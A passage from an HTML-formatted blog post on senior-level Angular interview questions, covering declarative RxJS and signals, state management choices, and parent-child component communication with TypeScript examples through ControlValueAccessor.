&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` ... `&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;wsService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;WsService&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;apiService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ApiService&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;displayedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;toSignal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apiService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;existingData$&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;wsService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;newData$&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;acc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="nx"&gt;curr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;acc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;curr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;initialValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The imperative version manually subscribes to two streams (&lt;code&gt;existingData$&lt;/code&gt; and &lt;code&gt;newData$&lt;/code&gt;) and mutates the &lt;code&gt;displayedData&lt;/code&gt; signal in separate steps. Each data source is handled independently, which can lead to duplicated logic and harder maintenance as complexity grows. &lt;/p&gt;

&lt;p&gt;In contrast, the declarative version merges both streams and uses &lt;code&gt;scan&lt;/code&gt; to build up the &lt;code&gt;displayedData&lt;/code&gt; in a single, unified expression. It avoids manual subscriptions and keeps logic in one place. This makes the code more predictable, easier to test, and less errors. Overall, the declarative approach describes what should happen, while the imperative one controls how it happens.&lt;/p&gt;

&lt;h3&gt;
  
  
  Would you use a state management library or a custom implementation?
&lt;/h3&gt;

&lt;p&gt;The question is designed to brainstorm with the candidate. Some developers lean toward libraries like NgRx, Akita, or NGXS, while others prefer simpler, custom built state solutions using services, RxJS or signals. Both approaches are valid. What I'm really curious about is whether the candidate can justify their choice, present some trade-offs, and mention potential drawbacks of the alternative. &lt;/p&gt;

&lt;p&gt;A senior developer should articulate decisions clearly, even when their opinion differs from their peers or contradicts the tech stack we are currently using. The provided answer will not change how I look at the candidate, I just want to see how can they argue toward one solution they see fit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Angular Questions - General
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How would you achieve a parent - child component communication ?
&lt;/h3&gt;

&lt;p&gt;A simple question with a catch. Most candidates mention &lt;code&gt;@Input()&lt;/code&gt;/&lt;code&gt;@Output()&lt;/code&gt; bindings, or using a shared service with a &lt;code&gt;Subject&lt;/code&gt; or a signal for communication.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Input/Output example&lt;/span&gt;
&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` ... `&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;cSelected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;output&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;cData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ChildComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;app-child [cData]="pData()" (cSelected)="pSelected.set($event)" /&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;c&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="nx"&gt;pSelected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Shared Service example&lt;/span&gt;
&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Injectable&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;providedIn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SharedService&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` ... `&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SharedService&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;onPushData&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;c&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ChildComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;app-child /&amp;gt;`&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;storedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SharedService&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These are valid answers, but not enough for a senior level developer. I expect to also hear about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Custom two-way binding&lt;/li&gt;
&lt;li&gt;Model inputs&lt;/li&gt;
&lt;li&gt;Control Value Accessor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Custom two-way binding&lt;/strong&gt; is achieved when the child component has an input and an output with the same property name, but the output uses the &lt;code&gt;Change&lt;/code&gt; suffix. This syntax enables the “banana-in-a-box” &lt;code&gt;[(data)]&lt;/code&gt; binding in the template. When the child emits a value via &lt;code&gt;cDataChange.emit('something')&lt;/code&gt;, it directly updates the parent's &lt;code&gt;pData&lt;/code&gt; signal or property.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` ... `&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;cData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;cDataChange&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;output&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;onDataChange&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cDataChange&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;something&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; 
    &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ChildComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; 
    &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;app-child [(cData)]="pData" /&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello World&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Model inputs&lt;/strong&gt; offer syntactic sugar over manual two-way binding. Instead of defining two separate properties (&lt;code&gt;@Input&lt;/code&gt; and &lt;code&gt;@Output&lt;/code&gt;) and emitting values manually, you can use &lt;code&gt;model()&lt;/code&gt; to bind once and let Angular handle the rest. The &lt;code&gt;model()&lt;/code&gt; binding works both with signals and non signal properties passed from the parent. &lt;/p&gt;

&lt;p&gt;A common use case is within custom form controls. This is not yet a signal form example, but so far the closest we can get. Inside a child component, we display an input (custom input, maybe with some specific functionality), and whenever the user types something, the &lt;code&gt;ngModel&lt;/code&gt; emits the data into &lt;code&gt;cData&lt;/code&gt; , and since it's a &lt;code&gt;model()&lt;/code&gt;, it will once again emit the data to the parent &lt;code&gt;pData&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;FormsModule&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;input [(ngModel)]="cData" /&amp;gt;  `&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;cData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ChildComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;app-child [(cData)]="pData" /&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello World&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Control Value Accessor (CVA)&lt;/strong&gt; is ideal when the child component acts as a custom form control. Implementing &lt;code&gt;ControlValueAccessor&lt;/code&gt; allows the component to integrate with Angular's forms APIs, either reactive or template-driven.  &lt;/p&gt;

&lt;p&gt;I mostly use &lt;a href="https://angular.dev/api/forms/ControlValueAccessor" rel="noopener noreferrer"&gt;control value accessor&lt;/a&gt; when creating reusable component in a UI library or when the child is something like a custom search-select component. Imagine searching for goods in an amazon like webapp, that when you type a good's prefix, it makes an API call, and then you have a dropdown of possible options.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-custom-input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;FormsModule&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;input [ngModel]="value" (ngModelChange)="onInput($event)"/&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
    &lt;span class="na"&gt;provide&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NG_VALUE_ACCESSOR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;useExisting&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;forwardRef&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;CustomInputComponent&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;multi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CustomInputComponent&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;ControlValueAccessor&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// callbacks for the ControlValueAccessor&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;onChange&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;onTouched&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;

  &lt;span class="c1"&gt;// called when input changes&lt;/span&gt;
  &lt;span class="nf"&gt;onInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// propagate change&lt;/span&gt;
